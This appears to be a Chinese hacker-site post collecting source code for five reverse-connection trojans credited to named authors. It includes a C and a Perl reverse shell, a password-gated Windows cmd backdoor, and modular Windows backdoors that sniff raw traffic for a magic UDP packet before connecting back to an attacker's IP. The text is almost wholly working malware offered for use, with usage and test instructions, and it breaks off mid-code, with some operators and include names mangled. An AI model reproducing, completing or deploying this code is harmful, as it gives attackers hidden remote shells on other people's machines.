第一个反弹木马代码：作者 iceblood代码#include#include#include#include#include#include#includevoid usage();char shell[]="/bin/sh";char message[]="s8s8 welcome\n";int sock;int main(int argc, char *argv[]) {if(argc <3){usage(argv[0]);}strUCt sockaddr_in server;if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {printf("Couldn't make socket!\n"); exit(-1);}server.sin_family = AF_INET;server.sin_port = htons(atoi(argv[2]));server.sin_addr.s_addr = inet_addr(argv[1]);if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {printf("Could not connect to remote shell!\n");exit(-1);}send(sock, message, sizeof(message), 0);dup2(sock, 0);dup2(sock, 1);dup2(sock, 2);execl(shell,"/bin/sh",(char *)0);close(sock);return 1;}void usage(char *prog[]) {printf("\t\ts8s8 connect back door\n\n");printf("\t sql@s8s8.net\n\n");printf("Usage: %s \n", prog);exit(-1);} 测试结果如下图：screen.width-300)this.width=screen.width-300" border=0>screen.width-300)this.width=screen.width-300" border=0> 显得有点简陋了，不过还能讲究的过往。。假如需要可以写成LKM，呵呵。第二个反弹木马代码：作者cnhackTNT代码#!/usr/bin/perl#http://www.s8s8.net#cnhackTNT[AT]hotmail.comuse strict;use Socket;use Cwd;use IO::Handle;if ( @ARGV < 1 ) {print <<"EOF";usage:nc -l -p PORT(default 66666) on your local system first,thenPerl $0 Remote IP Remote_port(default 66666)Type 'quit' to exit or press Enter to gain shell when u under the 'S8S8 console'.Enjoy ur shell!Welcome to http://www.s8s8.netEOFexit;}my $remote = $ARGV[0];my $remote_port = $ARGV[1] 66666;my $proto = getprotobyname('tcp');my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );my $path = cwd();my $shell = '/bin/sh -i';socket( SOCK, AF_INET, SOCK_STREAM, $proto ) die "socket error: $!";STDOUT->autoflush(1);SOCK->autoflush(1);connect( SOCK, $pack_addr ) die "connection error : $!";open STDIN, ">&SOCK";open STDOUT, ">&SOCK";open STDERR, ">&SOCK";print "You are in $path\n";print "Welcome to www.s8s8.net\nEnjoy ur shell.\n\n[S8S8 console]>";while () {chomp;if ( lc($_) eq 'quit' ) {print "\nWelcome to www.s8s8.net";print "\nByeBye~~~!\n";exit;}elsif ($_) {system($shell);print "\n[S8S8 console]>";}else {print "\n[S8S8 console]>";}}close SOCK;exit; 很简单，功能和上面sql兄那个c版本的差未几。第三个反弹木马代码：作者dahubaobao代码#include#include#include#include#include#pragma comment (lib,"ws2_32.lib")#define PASSSUCCESS "PassWord success!\n"#define PASSERROR "Password error.\n"#define BYEBYE "ByeBye!\n"#define WSAerron WSAGetLastError()#define erron GetLastError()VOID WINAPI EXEBackMain (LPVOID s); //BOOL EXEBackMain (SOCKET sock);int main (int argc, TCHAR *argv[]){SOCKET sock=NULL;struct sockaddr_in sai;TCHAR UserPass[20]={0}; //用户设置密码缓冲TCHAR PassBuf[20]={0}; //接收密码缓冲TCHAR PassBanner[]="\nPassword:";TCHAR Banner[]="---------dahubaobao backdoor---------\n";if (argc!=4){fprintf(stderr,"Code by dahubaobao\n""Usage:%s [DestIP] [Port] [Password]\n",argv[0]);return 0;}sai.sin_family=AF_INET;//判定参数正当性，并填充地址结构//IP地址不能大于15if (strlen(argv[1])<=15)sai.sin_addr.s_addr=inet_addr(argv[1]);else{#ifdef DEBUGMSGprintf("Internet address no larger than \"15\"\n");#endifgoto Clean;}//端口不能小于0 && 大于65535if (atoi(argv[2])>0&&atoi(argv[2])<65535)sai.sin_port=htons(atoi(argv[2]));else{#ifdef DEBUGMSGprintf("Port no less than \"0\" and larger than \"65535\"");#endifgoto Clean;}//密码最大16位if (strlen(argv[3])<=16)strcpy(UserPass,argv[3]); //复制密码else{#ifdef DEBUGMSGprintf("Please connect password error\n");#endifgoto Clean;}while (TRUE){WSADATA wsadata;BOOL ThreadFlag=FALSE;DWORD ThreadID=0;int nRet=0;nRet=WSAStartup(MAKEWORD(2,2),&wsadata); //初始化if (nRet){#ifdef DEBUGMSGprintf("WSAStartup() error: %d\n",nRet);#endifreturn 0;}sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);if (sock==INVALID_SOCKET){#ifdef DEBUGMSGprintf("socket() GetLastError reports %d\n",WSAerron);#endifgoto Clean;}nRet=connect(sock,(struct sockaddr*)&sai,sizeof (struct sockaddr));if (nRet!=SOCKET_ERROR){nRet=send(sock,Banner,sizeof (Banner),0);if (nRet==SOCKET_ERROR){#ifdef DEBUGMSGsprintf(MsgError,"send() GetLastError reports %d\n",WSAerron);send(sock,MsgError,sizeof (MsgError),0);#endif goto Clean;}while (TRUE){nRet=send(sock,PassBanner,sizeof (PassBanner),0);if (nRet==SOCKET_ERROR){#ifdef DEBUGMSGsprintf(MsgError,"send() GetLastError reports %d\n",WSAerron);send(sock,MsgError,sizeof (MsgError),0);#endifgoto Clean;}nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0);if (strnicmp(PassBuf,UserPass,strlen(UserPass))==0){#ifdef DEBUGMSGsend(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0);#endifThreadFlag=TRUE;break;}else{#ifdef DEBUGMSGsend(sock,PASSERROR,sizeof (PASSERROR),0);#endifcontinue;}if (nRet==SOCKET_ERROR){#ifdef DEBUGMSGsprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron);send(sock,MsgError,sizeof (MsgError),0);#endifgoto Clean;}Sleep(100);}if (ThreadFlag){//EXEBackMain(sock);CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)EXEBackMain,(LPVOID)sock,0,&ThreadID);}}Sleep(1000);}Clean:if (sock!=NULL)closesocket(sock);WSACleanup();return 0;}VOID WINAPI EXEBackMain (LPVOID s)//BOOL EXEBackMain (SOCKET sock){ SOCKET sock=(SOCKET)s;STARTUPINFO si;PROCESS_INFORMATION pi;HANDLE hRead=NULL,hWrite=NULL;TCHAR CmdSign[]="\ndahubaobao:\\>";while (TRUE){TCHAR MsgError[50]={0}; //错误消息缓冲TCHAR Cmdline[300]={0}; //命令行缓冲TCHAR RecvBuf[1024]={0}; //接收缓冲TCHAR SendBuf[2048]={0}; //发送缓冲SECURITY_ATTRIBUTES sa;DWORD bytesRead=0;int ret=0;sa.nLength=sizeof(SECURITY_ATTRIBUTES);sa.lpSecurityDescriptor=NULL;sa.bInheritHandle=TRUE;//创建匿名管道if (!CreatePipe(&hRead,&hWrite,&sa,0)){#ifdef DEBUGMSGsprintf(MsgError,"CreatePipe() GetLastError reports %d\n",erron);send(sock,MsgError,sizeof (MsgError),0);#endif goto Clean;}si.cb=sizeof(STARTUPINFO);GetStartupInfo(&si);si.hStdError=hWrite;si.hStdOutput=hWrite; //进程（cmd）的输出写进管道si.wShowWindow=SW_HIDE;si.dwFlags=STARTF_USESHOWWINDOW STARTF_USESTDHANDLES;GetSystemDirectory(Cmdline,sizeof (Cmdline)); //获取系统目录strcat(Cmdline,"\\cmd.exe /c "); //拼接cmdret=send(sock,CmdSign,sizeof (CmdSign),0); //向目标发送提示符if (ret==SOCKET_ERROR){#ifdef DEBUGMSGsprintf(MsgError,"send() GetLastError reports %d\n",WSAerron);send(sock,MsgError,sizeof (MsgError),0);#endif goto Clean;}ret=recv(sock,RecvBuf,sizeof (RecvBuf),0); //接收目标数据//假如为exit或quit，就退出if (strnicmp(RecvBuf,"exit",4)==0strnicmp(RecvBuf,"quit",4)==0){#ifdef DEBUGMSGsend(sock,BYEBYE,sizeof (BYEBYE),0);#endifgoto Clean;}//表示对方已经断开if (ret==SOCKET_ERROR){#ifdef DEBUGMSGsprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron);send(sock,MsgError,sizeof (MsgError),0);#endifgoto Clean;}//表示接收数据出错if (ret<=0){#ifdef DEBUGMSGsprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron);send(sock,MsgError,sizeof (MsgError),0);#endif continue;}Sleep(100); //休息一下，可要可不要strncat(Cmdline,RecvBuf,sizeof (RecvBuf)); //拼接一条完整的cmd命令//创建进程，也就是执行cmd命令if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,π)){#ifdef DEBUGMSGsprintf(MsgError,"CreateProcess() GetLastError reports %d\n",erron);send(sock,MsgError,sizeof (MsgError),0);#endif continue;}CloseHandle(hWrite);while (TRUE){//无穷循环读取管道中的数据，直到管道中没有数据为止if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)break;send(sock,SendBuf,bytesRead,0); //发送出往memset(SendBuf,0,sizeof (SendBuf)); //缓冲清零Sleep(100); //休息一下}}Clean://开释句柄if (hRead!=NULL)CloseHandle(hRead);if (hWrite!=NULL)CloseHandle(hWrite);//开释SOCKETif (sock!=NULL)closesocket(sock);WSACleanup();ExitThread(0);//return 0;}第四个反弹木马代码：作者ZV 比较完整的.for winnt的.compiler by vc 6.0. 我把后门分成四个部分,一个个部分算作一个模块,首先是主函数进口分成一部分,将来要加一些参数设置,初始化,隐躲进程等等,都在这个主函数部分完成,现在是什么都没有,代码比较少..代码#include "mainheader.h"MAINPARAMETERSTK mpStk={"zvrop","www.s8s8.net"};//打印帮助void Usage(char *programName) {char szHelp[] = "";fprintf(stderr,"%s usage:%s\n",programName,szHelp);} //初始化参数int HandleOptions(int argc,char *argv[]) {int i,rn=1;for (i=1; i< argc;i++) {if (argv[i][0] == '-') {switch (argv[i][1]) {case '?':case 'h':case 'H':Usage(argv[0]);rn = 0;break;default:Usage(argv[0]);rn = 0;break;}}}return rn;}//正式开始工作的主函数extern int ListenUserMain(void);int mGotoStart(){//申请网络if(!SetSocketDll())return 0;int ret=0;//出错最大100次就结束程序while(true){if(!ListenUserMain()){if(ret++ > 100)break;}}return 1; }//程序进口int main(int argc, char* argv[]) {if(argc > 1) {if(HandleOptions(argc,argv)) {return 1;}else {return 0;}}else {mGotoStart();return 1;}return 1;} 上面这个部分除了mGotoStart();这个函数,其他都是内部的. 这个mGotoStart();就是sniffer的开始,也就是我们的第二个部分,嗅探部分,我写了三种数据包,udp,tcp,icmp的嗅探,事实上tcp能用上的很少(除非你用某些发包软件直接发tcp包)所以我测试的时候也是用udp和icmp来测试的,代码如下:#include "mainheader.h"#define MAX_PACK_LEN 65535#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)SNIFFERDATASTK sfStk;//判定数据包的正确性int ChkBuff(char *msg, int msglen){int i1 = strlen(mpStk.KeyData), i2 = strlen(mpStk.szUserPasd);if(strnicmp(msg, mpStk.KeyData, i1) == 0){char *fp = &msg[i1+1];if(2 != getcmdline(fp,(char*)(&sfStk),100,3)){return 0;}if(!chkPass(sfStk.name)){return 0;}return 1;}return 0;}//数据包解包int DecodePack(char *buf, int buflen){IP_HEADER *pIpheader;int iProtocol;pIpheader = (IP_HEADER *)buf;iProtocol = pIpheader->proto;int iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);int PackSize = 0;switch(iProtocol){case IPPROTO_UDP:PackSize = sizeof(UDP_HEADER);break;case IPPROTO_ICMP:PackSize = sizeof(UDP_HEADER);break;case IPPROTO_TCP:PackSize = sizeof(TCP_HEADER);default :return 0;}if((unsigned)(buflen-iIphLen-PackSize) < (strlen(mpStk.KeyData)+10))return 0;if(ChkBuff(buf+iIphLen+PackSize, buflen-iIphLen-PackSize))return 1;return 0;}//循环接收数据包int RecvRightData(SOCKET Sock){char RecvBuf[MAX_PACK_LEN];int RecvDataLen;while(true){memset(RecvBuf, 0, MAX_PACK_LEN);RecvDataLen = recv(Sock, RecvBuf, MAX_PACK_LEN, 0);if(SOCKET_ERROR == RecvDataLen RecvDataLen < 46)return 0;if(DecodePack(RecvBuf, RecvDataLen)){return 1;}}return 0;}//获得本机外部ipunsigned long msGetipByStrOUT(){char in[20]="",out[20]="";if(msGetip(in,out)){return inet_addr(out);}else{return inet_addr("127.0.0.1");}}//设置网络环境,开始嗅探int Start_Sniffer(SOCKET SnfSock){SOCKADDR_IN addr_in;addr_in.sin_family = AF_INET;addr_in.sin_port = INADDR_ANY;addr_in.sin_addr.S_un.S_addr = msGetipByStrOUT();if(SOCKET_ERROR == bind(SnfSock, (struct sockaddr*)&addr_in, sizeof(addr_in))){ConCloseSocket(&SnfSock);return 0;}DWORD dwBufferLen[10];DWORD dwBufferInLen = 1;DWORD dwBytesReturned = 0;if(SOCKET_ERROR == WSAIoctl(SnfSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL)){ConCloseSocket(&SnfSock);return 0;}return 1;}//网络开始函数extern DWORD WINAPI UserThreadFunc(LPVOID lpParam);int ListenUserMain(void){SOCKET SnfSock;if(!SetSocketHand(&SnfSock, SOCK_RAW)) {return 0;}if(!Start_Sniffer(SnfSock)) {return 0;}if(!RecvRightData(SnfSock)) {ConCloseSocket(&SnfSock);return 0;}ConCloseSocket(&SnfSock);if(!SetSocketHand(&SnfSock, SOCK_STREAM)) {return 0;}if(!ContoReServer(&SnfSock,(unsigned short)atoi(sfStk.nPort),sfStk.szIp)) {ConCloseSocket(&SnfSock);return 0;}if(!UserThreadFunc((LPVOID)&SnfSock)){return 0;}return 1;} 上面这个部分,除了UserThreadFunc函数是外部的,其他都是内部的,实现了嗅探. UserThreadFunc函数就是用户线程函数,到了这个函数,就已经和用户建立了连接,下面就是交互式shell的代码了.如下:#include "mainheader.h"//封闭cmd进程,防止用户强行断开连接void closeCMD(USERCONTSTK * sck){if(sck->procinfo.hProcess != NULL){TerminateProcess(sck->procinfo.hProcess, -9);ConCloseHandle(&sck->procinfo.hProcess);}}//结束交互线程B,并封闭相应资源void KillThreadHdB(USERCONTSTK * sck){if(sck->UserThreadHdB != NULL){TerminateThread(sck->UserThreadHdB, 0);ConCloseHandle(&sck->UserThreadHdB);ConCloseHandle(&sck->hReadPipe);ConCloseHandle(&sck->hReadFile);ConCloseHandle(&sck->hWriteFile);ConCloseHandle(&sck->hWritePipe);xfree(sck->buff);}}//结束cmd交互,并中断连接void quitTELcon(USERCONTSTK * sck){if(sck->getCMD == 1){KillThreadHdB(sck);closeCMD(sck);sck->getCMD = 0;}rnvCasemsg(sck->UserSck, "Bye~^_^~\r\n");sck->ExitIn = 1;}//结束cmd交互,返回后门shell下void backtoCON(USERCONTSTK * sck){KillThreadHdB(sck);rnvCasemsg(sck->UserSck,"==========================\r\n""S8S8\\>");sck->getCMD = 0;}//交互线程B,获取cmd输出,发送给用户端DWORD WINAPI ThreadFuncB(LPVOID lpParam){#define MAX_BUFF_TB 4096USERCONTSTK *ThreadST = (USERCONTSTK *)lpParam;ThreadST->buff = (char*)malloc(MAX_BUFF_TB*sizeof(char));if(ThreadST->buff == NULL)return 0;ThreadST->Bann = 1;unsigned long howlong;DWORD rest;while(true){rest = ReadFile(ThreadST->hReadFile, ThreadST->buff, MAX_BUFF_TB, &howlong, NULL);if(rest <= 0){xfree(ThreadST->buff);return 0;}send(ThreadST->UserSck, ThreadST->buff, howlong, 0);}return 0;}//产生并***一个cmdshell.short GetConSel(USERCONTSTK *sck){if(sck->getCMD == 1) {return 0;}memset(&sck->pipeattrA, 0, sizeof(sck->pipeattrA));sck->pipeattrA.nLength = sizeof(SECURITY_ATTRIBUTES);sck->pipeattrA.lpSecurityDescriptor = NULL;sck->pipeattrA.bInheritHandle = TRUE;if(!CreatePipe(&sck->hReadPipe, &sck->hWriteFile, &sck->pipeattrA, 0)){rnvErrorID(sck->UserSck, "CreatePipe:");return 0;}memset(&sck->pipeattrB, 0, sizeof(sck->pipeattrB));sck->pipeattrB.nLength = sizeof(SECURITY_ATTRIBUTES);sck->pipeattrB.lpSecurityDescriptor = NULL;sck->pipeattrB.bInheritHandle = TRUE;if(!CreatePipe(&sck->hReadFile, &sck->hWritePipe, &sck->pipeattrB, 0)){rnvErrorID(sck->UserSck, "CreatePipe:");ConCloseHandle(&sck->hReadPipe);ConCloseHandle(&sck->hWriteFile);return 0;}DWORD UserThreadIdB;sck->Bann = 0;if((sck->UserThreadHdB = CreateThread(NULL, 0, ThreadFuncB, (LPVOID *)sck, 0,&UserThreadIdB))==0){rnvErrorID(sck->UserSck, "CreateThreadB:");ConCloseHandle(&sck->hReadPipe);ConCloseHandle(&sck->hWriteFile);ConCloseHandle(&sck->hReadFile);ConCloseHandle(&sck->hWritePipe);return 0;}STARTUPINFO starinfo;GetStartupInfo(&starinfo);starinfo.dwFlags = STARTF_USESHOWWINDOW STARTF_USESTDHANDLES;starinfo.hStdInput = sck->hReadPipe;starinfo.hStdError = starinfo.hStdOutput = sck->hWritePipe;starinfo.wShowWindow = SW_HIDE;char Cmdpath[MAX_PATH+20] = "";char ConSystemPath[MAX_PATH] = "";DWORD ren = GetSystemDirectory(ConSystemPath, MAX_PATH);if(ren != strlen(ConSystemPath)){rnvErrorID(sck->UserSck, "GetSystemDirectory:");KillThreadHdB(sck);return 0;}sprintf(Cmdpath, "%s\\cmd.exe", ConSystemPath);if(CreateProcess(Cmdpath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &starinfo,&sck->procinfo)==0){rnvErrorID(sck->UserSck, "CreateProcess:");KillThreadHdB(sck);return 0;}sprintf(Cmdpath,"========================\r\n""=ThreadID = %ld\r\n""=ProcessID = %ld\r\n""========================\r\n\0",UserThreadIdB,sck->procinfo.dwProcessId);rnvCasemsg(sck->UserSck, Cmdpath);//假如建立线程B超时,退出short _timeOut = 0;while(sck->Bann == 0){if(_timeOut++ > 50){rnvErrorID(sck->UserSck, "TIMEOUT");closeCMD(sck);KillThreadHdB(sck);return 0;}Sleep(50);}//设置为已经获得cmdshellsck->getCMD = 1;return 1;}//输出bannervoid TypeHelp(USERCONTSTK * sck){rnvCasemsg(sck->UserSck,"\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++\r\n""+quit exit\r\n""+help exit\r\n""+shell cmd shell\r\n""+++++++++++++++++++++++++++++++++++++++++++++++++++\r\n");}//命令行分析void WINAPI gocommand(USERCONTSTK * sck,char *comm){ConDel1013(comm);char cmdline[10][256] = {""};int comline_num = getcmdline(comm, &cmdline[0][0], 256, 10) + 1;if(strcmpi(cmdline[0], "") == 0){return;}cmdline[0][0]=toupper(cmdline[0][0]);switch(cmdline[0][0]){case 'Q':{if((strcmpi(cmdline[0], "q") == 0) (strcmpi(cmdline[0], "quit") == 0)&& comline_num == 1)quitTELcon(sck);elsegoto NoCommand;break;}case 'S':{if((strcmpi(cmdline[0], "s") == 0) (strcmpi(cmdline[0], "shell") == 0)&& comline_num == 1)GetConSel(sck);elsegoto NoCommand;break;}case '?':case 'H':{if((strcmpi(cmdline[0], "h") == 0 strcmpi(cmdline[0], "help") == 0 strcmpi(cmdline[0], "?") == 0))TypeHelp(sck);elsegoto NoCommand;break;}default:NoCommand:rnvCasemsg(sck->UserSck,"Bad Command!\r\n");} }//交互线程A,可以作为后门本身的shell,也可以作为CMDshell的输进void BeginShell(USERCONTSTK *sck){char buff[1024] = {0},buf[1024] = {0};long howlong;DWORD nothing;rnvCasemsg(sck->UserSck, "++++++++++++++++++++++++++++++++++++\r\n""+Easy BackDoor\r\n""+Coder By ZV(zvrop@163.com)\r\n""+Site http://www.s8s8.net\r\n""++++++++++++++++++++++++++++++++++++\r\n""S8S8\\>");while(true){memset(buf, 0, 1024);howlong = recv(sck->UserSck, buf, 1023 - strlen(buff), 0);if(howlong <= 0){quitTELcon(sck);return;}strncat(buff, buf, howlong);if(buf[howlong-1] == '\n'){if(sck->getCMD != 0){if(buff[0] == '`'){gocommand(sck, buff + 1);}else{WriteFile(sck->hWriteFile, buff, strlen(buff), ¬hing, NULL);if(!strnicmp(buff, "exit", 4))backtoCON(sck);}}else{gocommand(sck, buff);if(sck-> ExitIn == 1){return;}rnvCasemsg(sck->UserSck, "S8S8\\>");}memset(buff, 0, 1024);if(sck-> ExitIn == 1){return;}}}}//用户界面进口,申请一个结构用来保存,是为了兼容多用户DWORD WINAPI UserThreadFunc(LPVOID lpParam){USERCONTSTK *sck = (USERCONTSTK *)malloc(sizeof(USERCONTSTK));if(sck == NULL){rnvErrorID(*(SOCKET *)lpParam, "malloc:");ConCloseSocket((SOCKET *)lpParam);return 0;}memset(sck, 0, sizeof(USERCONTSTK));sck->UserSck = *(SOCKET *)lpParam;BeginShell(sck);ConCloseSocket(&sck->UserSck);free(sck);return 1;} 最后一个部分是公共函数部分,提供了一些函数的包装.如下:#include "mainheader.h"#define MAX_TIMEOUT 20000//封闭socket句柄void ConCloseSocket(SOCKET *Sock) {if(*Sock == 0 *Sock == SOCKET_ERROR)return;closesocket(*Sock);*Sock = 0;}//封闭句柄void ConCloseHandle(HANDLE *Hand){if(*Hand == NULL *Hand == INVALID_HANDLE_VALUE)return;CloseHandle(*Hand);*Hand = NULL;}//开释内存void xfree(char *bf){if(bf == NULL bf == 0)return;free(bf);bf = NULL;}//设置监听int LocalListen(SOCKET Sock) {if(listen(Sock, 5) == SOCKET_ERROR)return 0;return 1;}//连接远程服务器int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr) {struct sockaddr_in server_addr;server_addr.sin_family = AF_INET;server_addr.sin_port = htons(port);struct hostent *server_host;server_host = gethostbyname( reAddr );if(server_host == NULL)return 0;memcpy( (void *) &server_addr.sin_addr,(void *) server_host->h_addr,server_host->h_length );int len = sizeof( server_addr );if( connect( *sock, (struct sockaddr *)&server_addr, len ) < 0 )return 0;return 1;}//申请网络环境int SetSocketDll(void) {WSADATA wsaData;if(SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &wsaData)){return 0;}return 1;}//申请连接句柄int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE) {*Sock = socket(AF_INET , SOCKTYPE , IPPROTO_IP);if(*Sock == SOCKET_ERROR)return 0;return 1;}//发送消息给用户端void rnvCasemsg(SOCKET Sock, char *msg) {if (strlen(msg) <= 0)return;send(Sock, msg, strlen(msg),0);}//发送带错误码的消息给用户端void rnvErrorID(SOCKET Sock, char *msg) {char rmsg[256] = {""};sprintf(rmsg, "\r\nERROR>%s:%d\r\n", msg, GetLastError());rnvCasemsg(Sock, rmsg);}//兼容nc和telnetvoid ConDel1013(char *str) {for(unsigned int i =0; i < strlen(str); i++)if(str[i] == '\r' str[i] == '\n')str[i] = '\0';}extern MAINPARAMETERSTK mpStk;//密码比较,这里可以加上md5short chkPass(char *pass) {if(strnicmp(pass, mpStk.szUserPasd, strlen(mpStk.szUserPasd))==0)return 1;return 0;}//分解命令行的函数short getcmdline(char *comm, char *cmdline, short cont, short num){short j = 0, geti = 0, is20 = 0;for(short i = 0; comm[i] != '\0' && geti < num; i++){if(comm[i] != ' ' is20 >= 1){if(comm[i] == '"') is20++;else if(is20 >= 2 && comm[i] == ' ') is20 = 0;else if(j < cont){&nbs, p; &nb, sp; cmdline[geti * cont + j] = comm[i];j++;}}if(comm[i] == ' ' && geti < num && is20 == 0){geti++;j = 0;}}return geti;}//获得本机IP函数int msGetip(char *ipin, char* ipout){char cHostName[80]="";if((gethostname(cHostName, 80)) == SOCKET_ERROR)return false;struct hostent *Host = gethostbyname(cHostName);if(NULL!=Host){struct in_addr addr;int i = 0;while(Host->h_addr_list[i] != NULL){memcpy(&addr, Host->h_addr_list[i], sizeof(addr));if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){if(strlen(ipin) == 0){strcpy(ipin, inet_ntoa(addr));}}else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){if(strlen(ipin) == 0){strcpy(ipin, inet_ntoa(addr));}}else if(addr.S_un.S_un_b.s_b1 == 10 ){if(strlen(ipin) == 0){strcpy(ipin, inet_ntoa(addr));}}else{if(strlen(ipout) == 0){strcpy(ipout, inet_ntoa(addr));}}i++;}if(strlen(ipout) == 0) {strcpy(ipout, ipin);}if(strlen(ipin) == 0){strcpy(ipin, ipout);}return 1;}return 0;} 还要来一个就是程序的头文件, 如下:#include#include#include#include#include//用户结构typedef struct _USERCONTSTK{int getCMD;char* buff;int ExitIn;int Bann;SOCKET UserSck;HANDLE UserThreadHdB; HANDLE hWritePipe; HANDLE hWriteFile; HANDLE hReadPipe; HANDLE hReadFile; SECURITY_ATTRIBUTES pipeattrA; SECURITY_ATTRIBUTES pipeattrB; PROCESS_INFORMATION procinfo; }USERCONTSTK,*PUSERCONTSTK;//后门参数结构typedef struct _MAINPARAMETERSTK{char szUserPasd[100];char KeyData[100];}MAINPARAMETERSTK,*PMAINPARAMETERSTK;//嗅探数据结构typedef struct _SNIFFERDATASTK{char name[100];char szIp[100];char nPort[100];}SNIFFERDATASTK,*PSNIFFERDATASTK;//ip头部结构typedef struct _iphdr {unsigned char h_lenver; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags;unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HEADER;//tcp头部结构typedef struct _tcphdr {USHORT th_sport; USHORT th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; USHORT th_win; USHORT th_sum; USHORT th_urp; }TCP_HEADER;//udp头部结构typedef struct _udphdr {unsigned short uh_sport; unsigned short uh_dport; unsigned short uh_len; unsigned short uh_sum; } UDP_HEADER;//icmp头部结构typedef struct _icmphdr {BYTE i_type; BYTE i_code; USHORT i_cksum; USHORT i_id; USHORT i_seq; ULONG timestamp; }ICMP_HEADER;//一些变量和函数的申明extern MAINPARAMETERSTK mpStk;extern void ConCloseSocket(SOCKET *Sock);extern int LocalListen(SOCKET Sock);extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);extern int SetSocketDll(void);extern int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE);extern void rnvCasemsg(SOCKET Sock, char *msg);extern void rnvErrorID(SOCKET Sock, char *msg);extern void ConDel1013(char *str);extern short chkPass(char *pass);extern short getcmdline(char *comm, char *cmdline, short cont, short num);extern int msGetip(char *ipin, char* ipout);extern void ConCloseHandle(HANDLE *Hand);extern void xfree(char *bf); 所有的公共函数都在这里面.后语: 之所以写这么多代码是由于我本人喜欢比较稳定的程序,大小不是题目,上面这个程序应该算是非常稳定的后门框架了(由于只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无穷次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等等题目. 另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^_^. 以下是编译好后测试的一张图:主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是"www.s8s8.net",密码为"zvrop". 发送数据包是用vc的-u发送udp数据,c:\x.txt里面的内容是: 代码: www.s8s8.net zvrop 192.168.1.2 8888 分别是数据包标志,密码,反向连接ip,反向连接端口,中间用空格格开. 留意顺序不要颠倒.第五个反弹木马代码：作者weibo代码headerf.h这里面放了公共函数，还有一些声明#ifndef _BDH_#define _BDH_#include#include#include#include#pragma comment(lib,"ws2_32.lib")#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)typedef struct _iphdr{unsigned char h_lenver;unsigned char tos;unsigned short total_len;unsigned short ident;unsigned short frag_and_frag;unsigned char ttl;unsigned char proto;unsigned short checksum;unsigned int sourceIP;unsigned int destIP;}IP_HEADER;typedef struct _udphdr{unsigned short uh_sport;unsigned short uh_dport;unsigned short uh_len;unsigned short uh_sum;}UDP_HEADER;extern int StartSniffer();extern void StartWSA();extern void returnMessage(SOCKET *Sock,char *msg);extern void CreatePipeInSock();extern int SetSocketHandle(SOCKET *Sock);extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);#endif 这里就是sniffer...这个sniffer只解析IP和UDP包。。。通过对UDP的解析来启动木马进程. 对于UDP解析来启动木马这块还没有怎么完善。只是很简单的。。。等待大家来补充了。。 最好解析UDP来提取内容。判定用户名。密码。然后启动木马进程sniffer.cpp代码#include "headerf.h"//---------------------------------------------------------------------------//-----------------------------char rcvbuf[65535];SOCKADDR_IN siSource;extern SOCKET ReSock;char SourceIPAddr[16];unsigned short SourcePort;bool CanCon=true;char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++\r\n""+EasyService BackDoor\r\n""+Coder By weibo(wbwap@sina.com)\r\n""+Site http://www.s8s8.net\r\n""++++++++++++++++++++++++++++++++++++\r\n";//-----------------------------void DecodeIpPack(char *buf,int irec);void DecodeUdpPack(char *buf,unsigned int buflen);int msGetip(char *ipin, char* ipout);void StartBackDoor(SOCKET *Sock,char *IPaddr);//------------------------------int StartSniffer(){SOCKET SniffSock;struct sockaddr_in addr;unsigned char LocalName[256];struct hostent * hp;int ntime=1000;int rec;DWORD dwBufferLen[10];DWORD dwBufferInLen = 1;DWORD dwBytesReturned = 0;char in[20]="",out[20]="";StartWSA();SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));addr.sin_family = AF_INET;addr.sin_port = INADDR_ANY;msGetip(in,out);addr.sin_addr.S_un.S_addr = inet_addr(out);bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr));WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL);while(1){memset(rcvbuf,0,sizeof(rcvbuf));rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0);DecodeIpPack(rcvbuf,rec);}}//---------------------------------------------------------------------------void DecodeIpPack(char *buf,int irec){int iproto;int iIphlen;IP_HEADER *pIPheader;pIPheader = (IP_HEADER *)buf;iproto=pIPheader->proto;iIphlen = sizeof(unsigned long) 